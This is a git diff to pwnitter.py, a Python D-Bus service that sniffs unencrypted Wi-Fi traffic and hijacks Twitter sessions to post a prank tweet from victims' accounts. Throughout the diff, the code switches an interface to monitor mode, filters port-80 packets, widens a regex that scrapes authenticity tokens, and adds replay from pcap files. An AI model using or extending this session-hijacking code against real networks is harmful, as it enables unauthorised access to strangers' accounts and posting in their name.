X-Git-Url: http://git.maemo.org/git/?p=pwnitter;a=blobdiff_plain;f=pwnitter.py;h=67d3f757edbee006352558d5a71265297a0e34f7;hp=5d8470148c90eab07de94b74e163038ed59f27af;hb=a2e2cdcac7a6b6a231d746fb3166147363fff7a2;hpb=f5a75bbd69465ef407e93fed8968f35b389baa68 diff --git a/pwnitter.py b/pwnitter.py index 5d84701..67d3f75 100755 --- a/pwnitter.py +++ b/pwnitter.py @@ -7,13 +7,14 @@ import dbus.service import dbus.mainloop.glib import getopt, sys, pcap, dpkt, re, httplib, urllib +import logging import socket import time import gobject import select import subprocess -status = 'I browsed twitter insecurely on #fossdotin and all I got was this lousy tweet.' +status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.' def usage(): print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] @@ -29,15 +30,22 @@ class Pwnitter(dbus.service.Object): self.status = status self.is_running = False - @dbus.service.method(NAME, - in_signature='', out_signature='') - def Start(self, device='mon0'): - # FIXME: Prevent double Start() + def setup_monitor(device='mon0'): # FIXME: Replace hardcoded interface cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split() subprocess.call(cmd) cmd = '/sbin/ifconfig mon0 up'.split() subprocess.call(cmd) + + @dbus.service.method(NAME, + in_signature='', out_signature='') + def Start(self, filename=None): + # FIXME: Prevent double Start() + if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device + self.setup_monitor(device) + device = self.device + else: # We have given a filename, so let's make PCap read from the file + device = filename self.is_running = True try: self.cap = pcap.pcap(device) @@ -47,6 +55,12 @@ class Pwnitter(dbus.service.Object): self.cap.setfilter('dst port 80') cap_fileno = self.cap.fileno() self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) + + @dbus.service.method(NAME, + in_signature='s', out_signature='') + def StartFromFile(self, filename): + return self.Start(filename=filename) + def cap_readable_callback(self, source, condition, device): return self.pwn(device, self.MessageSent) @@ -68,16 +82,20 @@ class Pwnitter(dbus.service.Object): def GetMessage(self): return self.status + + def tear_down_monitor(self, device='mon0'): + cmd = '/sbin/ifconfig mon0 down'.split() + subprocess.call(cmd) + cmd = '/usr/sbin/iw dev mon0 del'.split() + subprocess.call(cmd) + @dbus.service.method(NAME, in_signature='', out_signature='') def Stop(self): self.is_running = False print "Receive Stop" gobject.source_remove(self.source_id) - cmd = '/sbin/ifconfig mon0 down'.split() - subprocess.call(cmd) - cmd = '/usr/sbin/iw dev mon0 del'.split() - subprocess.call(cmd) + self.tear_down_monitor(self.device) loop.quit() @@ -119,7 +137,7 @@ class Pwnitter(dbus.service.Object): # Newtwitter and Oldtwitter have different formatting, so be lax authToken = '' - formMatches = re.search("<.*?authenticity_token.*?>", page, 0) + formMatches = re.search("<.*?auth.*?_token.*?>", page, 0) if formMatches: authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0)) @@ -209,10 +227,26 @@ def main(): if __name__ == '__main__': + from optparse import OptionParser + parser = OptionParser("usage: %prog [options]") + parser.add_option("-l", "--loglevel", dest="loglevel", + help="Sets the loglevel to one of debug, info, warn, error, critical") + parser.add_option("-s", "--session", dest="use_session_bus", + action="store_true", default=False, + help="Bind Pwnitter to the SessionBus instead of the SystemBus") + (options, args) = parser.parse_args() + loglevel = {'debug': logging.DEBUG, 'info': logging.INFO, + 'warn': logging.WARN, 'error': logging.ERROR, + 'critical': logging.CRITICAL}.get(options.loglevel, "warn") + logging.basicConfig(level=loglevel) + log = logging.getLogger("Main") + dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) - #session_bus = dbus.SessionBus() - session_bus = dbus.SystemBus() + if options.use_session_bus: + session_bus = dbus.SessionBus() + else: + session_bus = dbus.SystemBus() name = dbus.service.BusName(NAME, session_bus) pwnitter = Pwnitter(session_bus, '/Pwnitter') #object.Start()